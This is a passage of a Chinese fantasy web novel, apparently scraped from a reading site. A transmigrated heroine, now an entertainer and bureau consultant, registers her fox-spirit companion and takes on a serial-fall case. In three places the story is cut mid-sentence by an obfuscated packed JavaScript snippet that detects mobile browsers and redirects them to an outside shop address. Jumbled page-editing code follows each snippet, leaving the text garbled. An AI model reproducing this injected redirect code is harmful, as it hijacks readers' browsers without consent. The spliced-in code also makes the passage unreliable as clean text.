但她实在太忙了。她穿越后所在的东阳国,高中就要学微积分。要不是她前世高中成绩好,有数学基础,恐怕早就被踢出火箭班了。 见黎钰目不转睛地盯着书架的书,他眼底带着笑意:“我以为你不喜欢看这些晦涩的书。” “偶尔会看一些……”指的前世初中,穿越后黎钰就没翻过了。这辈子,初中看得最多的居然是《科学》期刊,除此之外就是放松的动漫游戏了。 青年也不拆穿她,给她倒了杯热茶:“近日过得如何?” “还好……”黎钰浑身不自在,眼神游移。 她眼前的青年,是钧娱的董事长,沈氏集团最年轻的掌权人,沈明逸。 年仅23岁,他就将家族企业打理得井井有条,成功把年迈昏庸的前任董事——他的爷爷拉下马,夺取了家族的话事权。27岁时,他创立的钧娱已经是圈里著名的娱乐公司,黎钰也是他旗下的艺人之一。 望着沈明逸脸上深不见底的笑意,黎钰有些发怵。 看见她局促的模样,沈明逸食指点了下眼镜,“听说你昨天搬家了?” “是的……现在住在金碧公寓那边。”黎钰诚实说出自己的住址,一点也不隐瞒。 听到“金碧公寓”四个字,沈明逸斟茶的手不经意抖了一瞬,“那边啊,我也有所听闻。安保很好,你不用担心狗仔。” 见他一直不入正题,黎钰直接询问合约的事:“沈总,您打算和我解约吗?” “怎么会,”沈明逸将茶水推到黎钰面前,笑道,“你最近风头正盛,公司捧你都来不及。” “说到这个,黎钰,听说你不打算演戏了?” “我不认为自己能同时兼顾对策局的事务和演艺。非常抱歉,沈总。”黎钰低头,对于这位在她经济困难时,主动资助她上大学的年轻董事长,她是心怀感激的。 可她真的没有往演艺圈发展的想法,感激归感激,她不能堵上自己的未来。 “别急着下定论,”沈明逸用食指轻点眼镜,“并非只有演员才配在娱乐圈立足。” 可她也不是歌手啊。 “你有想过成为博主吗?” 带货主播?还是旅行博主?黎钰觉得,唯一和她专业沾边的,就是卖课。零基础学习建模剪辑数据库c语言,从入门到大师——能不能成为大师先不说,反正课卖出去了,钱赚到了。 不等黎钰拒绝,沈明逸接下去说道:“对策局刚步入大众视野,需要一个对外科普的窗口。我之前和步局长沟通过,他说,这要询问你的意见。” “介意我现在联络他吗?”黎钰默了片刻,说道。 黎钰特地打开免提模式,将这件事告诉步星澜。 “若你想去,便同意。对策局的确有这个需求。倘若你不方便,拒绝也无碍。” 沈明逸看她有松动的意向,笑意更甚,“直播分成你占六成,剩下四成我和对策局对半分,如何?” “不需要赔偿违约金,这是我对你的投资。” 听着像白给的,黎钰不放心,为了以防万一,她还特地叫了律师过来,兜兜转转几个钟,才将合同定下。 面对黎钰探究的视线,沈明逸笑而不语,瞳孔如同一潭深不见底的湖水,金丝眼镜在日光灯的照耀下反射,脸上挂着营业般标准的微笑。黎钰看不出他的脸色。 和这位董事长比起来,谢安霖作为青丘国师,一辆尊贵的九尾白狐。在沈明逸面前,仍然纯真得像刚个出生的宝宝。 看着这些几乎白给的条例,黎钰甚至开起了玩笑,“沈总,你炒股一定出来没出过错吧?” 沈明逸笑着点头:“我十八岁时,买彩票中了两千万。” 谁问他了? 知道沈明逸彩票中奖,黎钰满脸不爽地离开办公室,“怎么被他炫富了!” 带上办公室的大门。 “直播灵异探秘,顺便科普吗……”黎钰喃喃自语。 明明没经公司允许,她就和对策局签约,先斩后奏,却没想到沈明逸一点也不追究。甚至新的合约中,她的违约成本比以往还低,几乎为零。 “这完全就是白给吧。” 这位董事长这么好心? …… 走出大楼。 似乎察觉到高处的视线,黎钰抬头,看向沈明逸所在办公室的窗户。隐约可见里面人影,他拿着手机,貌似在和某人通话,并欣赏着窗外的美景。 青年丝毫不掩饰自己的视线,还对黎钰笑了笑。 一旁的白狐扑到她身上,“嗷嗷”叫唤,试图唤回黎钰的视线。 “好了,现在带你去专案组。” 【黎钰,本尊见到了奇怪的人!】 黎钰的脚步顿了顿,“什么人?” 让谢安霖以无害的白狐形态现身,居然还真钓到鱼了? 【一个粉色头发的女人,她居然还瞪本尊!】 她还以为什么大事,原来是被人嫌弃了。 【那女人身上还有镜魔的味道……】 “……魔族的味道?你确定?”之前她不是修仙者,根本无法察觉魔气,但……公司的同事里有魔族? 这有点匪夷所思了,感受到黎钰探究的目光,谢安霖在她身边蹲下。 【确定,本尊的嗅觉可是很灵敏的!】 镜魔,黎钰记得没错,这种族的魔极为擅长幻术,精通以镜子为载体的法术。在修仙界,这类型的魔极其少见,年幼时比寻常魔族都要弱小,通常活不到成年。可成长起来的镜魔,都是幻术、阵法领域的佼佼者。 “你刚刚说,她是粉发的女人,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993180|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎钰思索片刻,“是短发吗?” 【没错!】 “这样啊……” 粉色短发的女性,没记错的话,那是和黎钰同公司的艺人,名为希理。 但和黎钰不一样,希理不是糊咖,而是一位著名的配音演员兼歌手。高中就选秀出道,给许多大热游戏配过角色,并且演唱了几十首插曲。 黎钰玩的手游里,也有她主唱的曲子。 “有机会的话,去试探一下她。”只是希理是大歌手,黎钰只是刚起步的糊咖,机会渺茫。 “现在还是先去——” 就在此时,附近传来了烤串的香味,黎钰看了一眼。原来是摆摊卖烧烤的小贩开张了,炸酱和胡椒刺激着黎钰的鼻腔,令人食欲大发。 哪天有时间去买两只烤鸡腿试试。 然后,她的思绪被谢安霖无情打断了。 【黎钰,本尊要吃这个,快给我买!】 明明是白狐,现在却跟条疯狗似的,冲向路边的烧烤摊,因为狗绳栓在他的脖子上,谢安霖就只能在原地手舞足蹈,疯狂乱蹦,势要冲上去给烤架上的烤鸡腿、烤鸭腿、烤肠整个光盘行动。 要不是黎钰反应得及时,死死扯住狗绳,谢安霖估计已经失控创飞人家的烧烤摊了。 也不知道是人遛狗,还是狗溜人。 这阵仗,老板第一次见,差点一个手抖,打翻胡椒粉瓶。 路人纷纷侧目,甚至开始拿手机发朋友圈 “咦,黎钰?她什么时候开始养狗了?” “应该是上岸后,手头阔绰了吧。狐狸可是异宠,比狗难养多了。” “看出来了……” 白狐还在活泼地蹦来蹦去。 店家听不懂谢安霖的那又嗷又呜的狐狸叫声,但他眼没瞎,这狗跟拖拉机一样,一直在把主人往他这边拖,那主人拿出毕生的拔河功力,憋得脸都红了。 “那个,它要是实在喜欢,我这块鸡腿就免费送您吧。” 似乎听懂了店家的话,“萨摩耶”终于不闹了,吐着舌头,尾巴摇得跟哈士奇似的,看向店家的眼神满是期待。 黎钰被他这波突发奇想整得够呛,旁边的路人都在笑,她接过店家的鸡腿,尴尬道:“没事,烤熟的我全包了……” 以谢安霖的胃口,一只鸡腿可不够他塞牙缝的。 加起来还不到一百块,搬新宿舍后,不用交月租,发工资前,卡里的两千块够她活得滋润了。 在店家震惊的目光,以及一旁客人幽怨的目光中,黎钰自己拿了两只,然后把剩下的鸡腿鸭腿全丢给“萨摩耶”吃。 更离谱的是,这狗一点也不挑食,当着店家和路人的面,将肉连着骨头一起嚼碎,平均三口一块,满脸享受地将烤腿全咽下肚,然后摇着尾巴回到主人身边,整个过程不超一分钟。 上天哪,那可是十二只烤腿! 看得店家目瞪口呆,“这萨摩耶胃口可真好……” 牙口也很好,骨头都不剩。狼吞虎咽时差点还把纸吞了。 黎钰捂脸:“这不是萨摩耶,是白狐。” 11. 这是警犬吗 吃饱喝足,谢安霖终于不闹了,并晃着狐狸尾巴,对烧烤摊的鸡腿给出极高的评价。 “反正也不贵,想吃的话,下次我再请你。”只要别像条炮弹一样发射出去,黎钰真怕他一不小心,把别人的餐车创翻。 黎钰也不介意请他吃几顿,当时在修仙界人生地不熟,天道特地派了接引人负责她的衣食住行,顺便教导她世界的常识。这位接引人就是青丘国师谢安霖。 被他带去青丘时,黎钰第一次感慨他们的开放的风俗人情——谢安霖因为是国师,穿着会隆重华贵一些,实际也就比别的狐多几块透明的纱衣,就这样,他在本地居然算保守严实! 听到她的承诺,谢安霖高兴地绕着她蹦来蹦去,还用绵软的狐耳蹭黎钰。不像白狐,倒像只活泼好动的哈士奇。 黎钰一边咬着鲜香的鸡腿,含糊不清说道:“我们去警察局,顺便去告诉局长你的事。” 其实昨天已经在微信简略地告诉步星澜了,他说具体情况要等黎钰第二天来专案组时,再详细了解。 公司离她家不远,但离警局有一段距离。带着谢安霖,黎钰也不方便打车,于是就随手租了个共享单车,将白狐放在车头的篮子里。 那已经是黎钰挑的最大号篮子了,还是有些装不下谢安霖的身躯,他就像一团溢出的白棉花,好奇地四处张望,看风景。 为了防止他飞出去,黎钰只能慢慢开。 …… 一小时后,一人一狐像蛆一样,终于蠕动到了对策局。 负责登记谢安霖资料的人,还是步星澜,黎钰都怀疑对策局是不是完全没其他人了。 步星澜脸色也很不好,垮起个脸,仿佛全世界欠他八百万的样子。 “让他变回人形,我不和嘤嘤乱叫的狐狸交流。”步星澜十分嫌弃他。 听懂他的话,黎钰怀里的白狐一点都不惯着他,直接咔咔哈气。 “局长,他的穿着……可能有点开放,不那么适合我们的画风,”黎钰委婉说道,“提前问一下,你有别的衣服吗?” 他坐在书案前,无声瞥了一眼龇牙咧嘴的狐狸,不可置否:“先让他变回去。” “好吧,听你的。”黎钰眼底完全没有不情愿,反而闪过一抹狡黠笑意。 步星澜忽然有了不好的预感,但已经晚了,白狐利落地跳下黎钰的怀抱,变回了青年形态。 买的男装没到货,谢安霖还是那套开放的国师装扮。黎钰罕见地从步星澜那清冷的眼底,只剩肉眼可见的呆滞。 那唯一一条内裤,还挂着流苏,随着谢安霖的动作拍打他的大腿,晃来晃去,引人遐想。他高傲地挺起胸膛,纱衣在胸前晃荡,俯视坐在书案后的步星澜,眼神鄙夷。 也不知在鄙视些什么。 反应过来,步星澜差点拉过电话,叫扫黄办的人把谢安霖逮进局子。 “伤风败俗……” 他深吸一口气,从储物空间甩出一套男装,丢给满脸莫名的谢安霖,对黎钰说道:“让他换上这个,再来登记!” 五分钟后,谢安霖不情不愿地换上男装,回到办公处。 黎钰才发现,那套衣服还是修身的白色劲装,换装后的谢安霖比起聊斋里的狐狸精,更像一位隐世道长——如果忽略他头顶抖动的雪色狐耳,以及脸上那不爽的表情的话。 现在,黎钰的脑子里多了两个问题。第一,步星澜的衣柜里都是白色古装吗?第二,狐狸精能当道士吗? 前者涉及步星澜的个人隐私,黎钰不方便问。但后者……考虑到谢安霖的专业能力,还真能行。谢安霖在法术方面就是完全的阵法专精! “以后让你的狐狸别在公众场合穿成那样。”步星澜咬牙切齿的话音唤回黎钰的思绪。 “衣服还没到,他在外只能用狐狸形态。或者今天暂时穿局长您这套?” “那也行,”想到刚才那穿了等于没穿的人形态,步星澜差点晕厥,他真的要找个医生给自己洗眼睛了,“他私下怎么穿我不管,别出去给对策局丢人现眼!” 骂完谢安霖,他拿出一堆表格,黎钰有印象,其中几张她两天前刚填过。步星澜提笔,恶狠狠瞪视谢安霖:“年龄?” “五百二十三……” “好,26岁,”他在括号里加上“长生种”,然后转头望向黎钰,“对了,他们种族的寿命平均值,以及成年年龄,这些你在表格里写一下。还有,顺便填下后边的寿命百分比。” 提笔的瞬间,黎钰终于明白为什么登记一定要她在场了,因为谢安霖听不懂“百分比”“平均值”是什么意思。 “种族?” “九尾狐!” “雄性、双性,还是无性别?” “本尊当然是公的!” 一旁的黎钰瞪大双眼:“局长,我之前怎么不用填这个?” “那些东西,扫你身份证和档案就行,”步星澜继续写道,“继续。” 考虑到天选者大多来自稀奇古怪的世界,表单根本没有籍贯选项,只有一项能否在东阳国与普通人进行简单的语言交流。除此之外,就是“是否参加通用语培训课程”。 黎钰凑近一看,完全和她之前填的表单不一样。 “等下等下,怎么回事!凭什么他地铁公交免票啊!局长你种族q歧视啊!”黎钰坐不住了,势要步星澜给她一个解释。 “规定写明,原型是巨兽的天选者,都会免票。” 步星澜反问道:“他一只九尾狐,跑得比车都快,不免票,难道要他天天变回原形‘步行’?” 想起来方才烧烤摊那一幕,黎钰又闭嘴了。小白狐形态已经很疯癫了,她不敢想象变回九尾狐,公共设施得遭多大罪。 在修仙界时,谢安霖从来不像人族那样御剑飞行,而是变回九尾狐本体,载着黎钰四处跑——就这,还比天上御剑的快。 非要比喻的话,就是从煤气罐变成了大卡车,黎钰是司机。 对面的魔修是撞大运的幸运儿,要是谢安霖没撞死,黎钰就再补一刀——让他自绝经脉。 在修仙界创魔修是很爽,但这里是现代,谢安霖这俩大卡车必须遵守交通规则,黎钰抹了抹汗:“那还是让他免票吧……” 可恶,她也想要这个福利,每个月能省好多钱!黎钰垮起个小脸。 见黎钰吃瘪,步星澜不禁嘴角上扬,给黎钰补上一刀。 “其实,我也免票。” “……” “你那什么表情,”步星澜嘴角抽了抽,“加入对策局的天选者都有地铁公交半票的福利。” 不如谢安霖的免票。 黎钰那充满杀意的眼神,仿佛步星澜不给她一个解释,就拆了对策局。 “放心,你也会一样有,就是得走一遍流程……” 至于谢安霖的住宿,考虑到黎钰的宿舍是二人间,两人关系熟络。所以谢安霖就美美住进了黎钰的宿舍——以宠物兼舍友的身份。 目送二人离开,步星澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993181|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线聚焦在谢安霖档案的一行字上。 “于青丘一年前的天魔动乱中身死,被天道复活,成为地球的天选者。” 他心中泛起疑虑——奇怪,天道何时转的性,居然会复活天选者? 走廊中,谢安霖变回了白狐原型,黎钰认为他这个形态,比较容易让人放松警惕,便于潜伏和获取情报。 “待会变回人形时,记得穿步星澜给你的衣服。”不然谢安霖被同事举报涉h,她还得去监狱里捞他出来。 【好吧……】 白狐跟在她的身边,狐耳耷拉着,很不情愿的样子。看样子,真的很喜欢那身半透明的衣服。 黎钰摸摸他毛绒的脑袋,试图安抚情绪,“等你工资发了,就可以买别的衣服。” 除了那套青丘服饰,谢安霖想穿啥穿啥。 听到黎钰要给他买新衣服穿,白狐的尾巴高高翘起,跟狗子似的左右摇摆。 一人一狐推开会议室的大门,不出十分钟,两位警员拿着文件袋和平板,走进会议室。 定睛一看,竟是两位熟人。 “前辈,坠楼案居然由您来负责吗?太好了!我们进度卡好久了,局里又没其他修仙者,步局长又忙着和科学院——”话没说完,就被身边的警员用力捂住嘴,那力道大的,黎钰感觉他脖子都要被掰断。 “在这里鬼叫什么!就你这专业性,实习十年都转不了正!” 居然是黎钰昨天见到的新人警员,以及那位让她多谈几个漂亮小伙的前辈。她上下扫视新人警员,对方仿佛抱到了大腿一样,开心得手舞足蹈。 她识趣地不追问步星澜的事,向他们做了个简单的自我介绍。 这位青涩年轻的警员名为郑飞,是公大的优秀毕业生,还觉醒了感知系异能,了解对策局的情况后,主动加入对策局。 另一位中年警员叫方恒,也是异能者。能力是肌肉强化,靠着这个能力,几乎没有犯人能在他的力量下逃脱。他主动将异能上报后,被调往对策局。他之前跟各大专案组破过许多重案大案,属于是经验丰富的老警员。 虽然郑飞天天被老警员训,但这两人其实是对策局的经典组合,多次联合破案。 了解完二人的情况后,老警员总是时不时将目光瞟到黎钰身边的白狐,心中暗想,居然不闹事,也不叫唤,真有灵性。 灵性归灵性,但查案不能带宠物去啊,他忍不住发问:“黎顾问,这是你的宠物吗?” “不,他是警犬。” 面前两人均面露惊讶,郑飞更是手贱地去摸谢安霖的脑袋,结果狐狸“啪”的一个巴掌打他手背上,拍掉他作乱的手,神气高傲。 郑飞吹了吹被拍得发红的手背,“第一次见狐狸当警犬……” “开玩笑的,他是对策局的新警员。” 这更离谱了,郑飞惊得下巴都合不上,发出意义不明的“啊”声。一旁的方恒就冷静多了,他转身问黎钰:“他能听懂人话?” “不,他能变成人。” 黎钰rua了下谢安霖的Q弹的狐耳,“变一个。” 白狐高傲地扬起下巴,光芒汇聚成人的模样,一位俊美的狐耳青年就出现在二人眼前——当然,衣服是步星澜给的正常版本,否则黎钰可不敢让他随地大小变。 这下子,就连方恒都瞠目结舌了。 “他他——” “是的,”黎钰介绍道,“他叫谢安霖,从今天开始,他就是我们对策局的‘警犬’。” 12. 这是钓鱼执法吗? 简单地了解情况后,四人入座。 为了便于交流,谢安霖化作人形,安静地坐在黎钰身边,准备听中年警员讲述案件的详情。 至于郑飞,他看到谢安霖变人的一幕后,仿佛做了前额叶手术一样,眼神呆滞,机械地在黎钰和谢安霖二人之间打转,视线集中在谢安霖的狐耳身上,喃喃自语:“世界上居然真的有狐狸精……我真的生活在玄幻小说里……” “砰”,一颗粉笔精准地命中了郑飞的额心,跟子弹似的,以毒攻毒,成功解除了他的“前额叶术后后遗症”。 “给我安静!”方恒看到他这副模样,差点气死,一点也不客气,直接粉笔侍候。 那声音,一听就是个□□的脑壳,黎钰暗自感慨——这脑袋可真硬啊。 解决掉精神涣散的郑飞后,中年警员开始讲述: “第一起案件发生在9月20日,也就是一个月前,”随着红点移动,屏幕上出现一座废弃烂尾的居民楼,“死者是一名失业人员,他刚被公司辞退,因拖欠数月房租,房东将他赶出家门。” “在9月20日的深夜,在这栋废弃大楼,跳楼身死。” “而在三天后,9月23日,第二起坠楼事件发生了。这次的死者是一名高中女学生,因为在网上发布了关于明星的不当言论,被粉丝大规模网暴,于深夜前往天台跳楼自杀。” “不仅如此,”方恒指着屏幕,继续说道,“第三起、第四起……算上昨日桐明区的坠楼案,这已经是第五起了。所有人的死亡时间都是深夜,每隔三天,便会出现新的受害者。” “像血祭秘术。”望着屏幕上的死亡报告,谢安霖听完他的分析后,狐耳抖动,下了定论。 “我们也是这么想。”方恒调出地图,将所有死者的死亡地点画上圆圈,目前五起事件的发生地,居然隐隐连成一个图案。 残缺不全,但黎钰还是认出这是六芒星。 应该是某种阵法,但画这种图案的阵法实在太多了,就算黎钰和谢安霖见多识广,也无法立即判定它是阵法的具体情况,只能粗略地确定为血祭秘术。 “我们根据阵法图案推断出了下一个死者可能的地点……”说到这里,老警员更头疼了,“可那个区域至少有五万人,我们无法确定谁是潜在的受害者。” 黎钰想了想,说道:“每三天就会出现新受害者,按这个思路,下一个死者岂不是就在后天?” “没错,”他点头,“现在最麻烦的是,人海茫茫,我们无法预测死者身份,只能在事故发生后追查……”讲到这里,老警员握紧拳头,手臂上青筋暴起。 “从死者身上追查也不妨是一种正确思路,”谢安霖凝视着屏幕,“我们可以从这方面下手。” 黎钰接着他的话,“凡走过,必留下痕迹。死者的生平肯定有线索!” 警员赞同二人的话,“这方面我们正在调查,但同时还要监控第六起事件的区域,保护潜在受害者……我们警力不够了。” 最后一句话,“警力不足”是重点。 难怪要专门让黎钰负责调查这起案子,步星澜还“大方”地让谢安霖加入,原来是因为人手不足。 “对手是魔修,这方面的人员宁缺毋滥,不能随便从其他部门调人来调查。”方恒更头疼了,想找人替补都做不到。 黎钰欣然应下,“没关系,调查的事情就交给我们吧。” 交接完资料,方恒还语重心长地嘱咐二人,“如果出了什么事,一定要请支援,别硬上。” 离开前,方恒还用感慨的目光看着黎钰,她不明所以,拖着谢安霖离开会议室。 黎顾问是真的听劝,让她多找几个漂亮小伙,她是真找。 想到网上的绯闻,方恒叹气,年纪轻轻和明星谈什么恋爱,还得无故挨粉丝骂,正主又窝囊废,只会和稀泥。黎顾问都这么强了,随便找个省心脸好事又少的男大不更好? 要那姓顾的干什么。 …… 科学中路,地铁站。 她终于明白,步星澜为何同意让她地铁半票了,这不就用上了。一个半票,一个免票,要是之前,她除了和蛆一样骑自行车,就只能坐地铁了。 实际打车也行,但起步价20,黎钰心疼,选择坐地铁。 地铁中,谢安霖的狐耳好奇地立起来,扫视周围的人群,时不时有路过的人往这边瞄上两眼,谢安霖的耳朵固然引人瞩目,但他的古装更吸引视线。 现在是中午,地铁人来人往,不仅有通勤的上班族,没课的大学生也在其中,偶尔还能看见背着痛包,出近期热门手游角色的coser。当中不少人将视线投向谢安霖,黎钰甚至能听到她们小声讨论道: “好逼真的狐耳,他是在cos谁啊?看上去不是烫门角色……” “首先排除乙游,每个老公我都认识,绝对不是他们。” “肯定不是一般向游戏的角色吧,他们穿得没这么素。” “可能出的小说男主,而且还是只狐妖,就是不知道是哪部小说……” 还有一种可能,没在cos,谢安霖真的是狐妖。 第一次在现代世界以人形出现,他的脸上面无表情,看上去十分镇静——如果他的手没有死死抓住黎钰衣角的话。 地铁女生们的对话,谢安霖自然也听得一清二楚,悄悄戳了戳黎钰手臂,“她们,说的是什么?” 虽然离开对策局前,黎钰就再三强调,如果有人问他为什么穿成这样,就说自己是二次元。 黎钰很难和他解释什么叫“烫门”“乙游”“一般向游戏”,只能简略地讲。 “什么叫游戏?” 黎钰沉默了,直接拿出手机,创了新号,丢给谢安霖。 “实践出真知,跟新手教程玩一盘吧。” 还是动作游戏,以谢安霖身为妖修的反应速度,应该有手就行—— “黎钰,我打不过……” 看着一片黑白的屏幕,站在列车顶上嚎叫的BOSS,谢安霖很委屈。要是他能亲自上就好了,肯定不会死得这么憋屈。 此时,黎钰才发现,这新手“教程”,可能不太适合谢安霖这种连手机都第一次玩的人。 于是她切回了自己的账号,打开了真正的“教程”。 “这是闪避、这是攻击键、这是三个是技能、这是大招……很好,谢安霖,你已经学会新手教程了,现在让我们来点简单的关卡吧。” 黎钰没有恶趣味地挑选高难关卡,而是选了主线剧情里较为简单的关卡。 主线第二关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993182|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瞎几把A都能过吧? 就在谢安霖像条蛆一样蠕动,艰难地躲避怪物的火雨攻击时,一道微信消息完美地弹了出来,挡住了怪物的血条——以及攻击红光。 【顾望宁:黎钰,你搬家了?】 角色被怪物揍成了半血,好不容易弹框消失,此时谢安霖的闪避值已经见底,来不及闪掉怪物的远程激光,又被对面打出黑白屏——请提升装备、角色等级后再战。 谢安霖立起的狐耳被气到ber地弯下来,变成典型的飞机耳。 “顾望宁是谁……!”他把手机还给黎钰,心心念念着刚才没打过的关卡。 “是我一个朋友,也是同行,”怕谢安霖误会,黎钰特地加上一句,“不是对策局的同行,他和我一样都是艺人。” “艺人是什么?”谢安霖的注意力成功从死掉的角色身上移开,琥珀色的瞳孔注视着黎钰,眼神清澈。 黎钰想到了一个有些贬义,但便于谢安霖理解的词汇来形容:“戏子?” “在我们这里,艺人地位很高,月入几百万呢,”黎钰笑了笑,“不过我是底层,这些和我无关就是了。” 听完黎钰的话,谢安霖静静凝视着消息弹框上的“顾望宁”,眼神晦暗不明。 她在屏幕上利落地打字,给顾望宁回消息,【搬家了,在金碧公寓这边,7楼16号。】 【风景挺好的,你有时间可以过来玩。】 【如果公司那边有什么问题,也可以找我帮忙。】 见她毫不迟疑地发出自己的地址,谢安霖思索片刻,问道: “黎钰,他是敌人吗?” 黎钰打字的手顿了顿,见她有所反应,谢安霖挺起胸膛,自豪地继续说道:“这招你在修仙界时,在魔修的地下拍卖会用过。叫钓……什么来着?” “喔,钓鱼执法!” 当时她帮谢安霖从魔修手上夺回青丘至宝,离开前,超绝不经意地留下一点线索,那些魔修为了拿神器提升修为,也不管这是不是圈套,一窝蜂地追上来——然后被黎钰免费赠送自绝经脉大礼包。 或许是魔修本人自费。因为死后,黎钰顺走了他们储物空间的灵石和法器。 【顾望宁背后的家族是敌人,他们和魔修有合作关系。】 “那他呢?” 黎钰没有回答。 他救过黎钰的父母,冲着这份人品。只要他身上没血案,黎钰以后抄家的时候,会顾虑一点——前提是,他真的没杀过无辜百姓。 查出来有的话,顾望宁会被黎钰自杀的。 谢安霖很是惊讶。 家族和魔修有联系,黎钰居然没让他当场自绝经脉,杀鸡儆猴。 “黎钰,你对他可真好。” 就在二人闲聊之际,一个女生悄悄靠近他们,黎钰转身,正好和那女生对上视线。 她神色慌张,手里拿着张硬纸板——定睛一看,貌似是笔记本。 “您、您好,请问是黎钰吗?”她小心翼翼问道,眼里充满期待。 “我是叫黎钰没错,”黎钰没在她身上感知到明显的恶意,她余光扫到女生手里的笔记本,“请问有什么事?” “我是您的粉丝!能不能给我一份签名!”见她承认,女生的眼睛瞬间变成了星星眼。 13. 再遇店长 黎钰愣了一下,完全没想到会在地铁上遇上自己的粉丝。 一转头,就发现谢安霖正求知若渴地盯着她,似乎很好奇“粉丝”是什么意思。 她没有立即回复谢安霖,把手机丢给他,“玩去吧,待会和你解释。” 随后,黎钰接过女生的笔记本,在内页写下自己的名字。 “谢谢黎钰老师!” 签完名时,黎钰的余光瞥到她的胸章上,那是一块浅蓝色的校徽,上面写着“新海市第七中学”。 黎钰的视线聚焦片刻。 这举动引起了女生的注意,她结巴说道:“黎钰老师……我、我有什么奇怪的地方吗?” 没记错的话,之前在出租屋坠楼身亡的死者,也是七中的学生。 死者的名字叫陈柏,据调查,他是七中高二级的年纪第一,学习成绩好,性格也乐观。 调查员也想过,是不是陈柏的父母将他逼得太紧,导致他想不开寻死——但根本没有这种情况,他的父母工作繁忙,除了给他报补习班外,根本没时间管陈柏,只知道他在学校成绩不错。 “你是七中的高中生吗?” “是的!” “高二?” 女生有些摸不着头脑,但还是老实回答了自家偶像的问题:“是高二没错……” 那就好办了,她拿出工作证,告诉女生她和谢安霖二人的来意。 “周日,桐明区发生了一起坠楼事件,死者也是七中的学生,和你同级,”在女生呆滞的目光中,黎钰继续说道,“我和我的同事打算去你的学校了解情况。” “啊?死者……是谁?” “他叫陈柏,你认识吗?” “我和他是同班同学。”说到这个,她想起来了。昨天老师就在班级群发了公告,说陈柏因故身亡,以后都不可能回学校上学了…… 只是没想到,陈柏居然是坠楼自杀,结合网上对策局的公告,女生瞬间明白,黎钰作为连环坠楼事件的特邀顾问,百分百是来办案的。 黎钰也感到不可思议,地铁随意遇上的高中学生粉丝,居然就是死者的同学。 当然,更重要的是……为什么他们学校中午可以随意出来闲逛啊! 这家伙是高二生,今天是星期一啊! “说起来,你叫什么名字?你们中午不强制呆在学校的吗?”黎钰看了看她身后的书包,那甚至是个二次元大痛包。 好家伙,这是坐地铁去谷店进货了吗? 见偶像问自己名字,女生开心地仰起脑袋,回答道:“我叫秦飞雁,我们学校不强制午休,中午可以回家,就是得在下午上课前回去……” 黎钰看她的目光很是幽怨,“我要嫉妒你了,我高中就算不住宿,也要从早上七点,待到晚上十点。” 更何况,秦飞雁所在的七中,校门口出门左拐,就是一条美食街!她高中的时候,一打开朋友圈,就看见考上七中的同学在晒那里的小吃。 听她讲起自己学校,秦飞雁好奇追问:“黎钰老师是哪所高中的啊?” “省一中。” 秦飞雁差点喷出来,那可是新海市排名第一的重点高中。她所在的七中排名第三,也是非常优秀的重高,但和省一中比……那边光场地,就大七中一大圈了好不好! 黎钰高中成绩居然这么好……等下,她忽然想起来,黎钰是新海理工大学的学生。 所以,其实黎钰一直是个学霸吗?这么一想,她是省一中的学生,考上新海理工也很正常了…… 但没考上省一中,秦飞雁还是有一丝丝庆幸——因为七中离家近,就将七中作为第一志愿,否则她中午一点休息时间都没有,只能苦哈哈地做题。 “对了,不用叫我老师,叫我名字就行了。”她未来没有接戏的打算,最多帮对策局宣传,当个科普主播。 “还没和你介绍,这是我的同事,谢安霖——” 黎钰转头,发现谢安霖还拿着她的手机,正艰苦卓绝地挑战关卡,已经进入无我境界了。 听到黎钰叫自己,他才委屈地把手机还给她,狐耳弯成一条直线。 “好难……” 眼尖的秦飞雁一眼瞄到他的屏幕,熟悉的UI画风,陌生的界面——失败结算页面。 “这不是《圣契》吗?” 秦飞雁激动地望向黎钰,“想不到您也玩手游!” 《圣契》是当今著名的动作二游,漂亮美型的二次元画风,再加上酷炫的战斗动作系统,吸引了一大批青少年——秦飞雁也是其中之一,甚至她痛包上的谷子都是《圣契》一个角色的单人set。 看到自己偶像的手机也有同样的游戏,秦飞雁兴奋坏了。但看见黎钰同事的失败页面,上面写着显眼的1-2,秦飞雁开始茫然。 这才第二关,有这么难打吗?这不有手就行? 但礼貌起见,她脸上挂着微妙的笑容。 看在姓谢的兽耳男同事是位古装帅哥,并且还是黎钰同事的份上,秦飞雁努力催眠自己——世界上有许多人不会玩动作游戏,不要歧视他的操作。 黎钰刚接过手机,地铁正好到站。 出来后,三人正好同路。 “秦飞雁,可以麻烦你帮忙带路吗?”黎钰看着手机上在红绿之间反复横跳的导航箭头,时不时弹出一句“你已偏离导航方向”,她就有点红温。 “可以啊!”偶像拜托自己,秦飞雁主动在前面带路,“不过我是学生,没办法带你们进学校……” 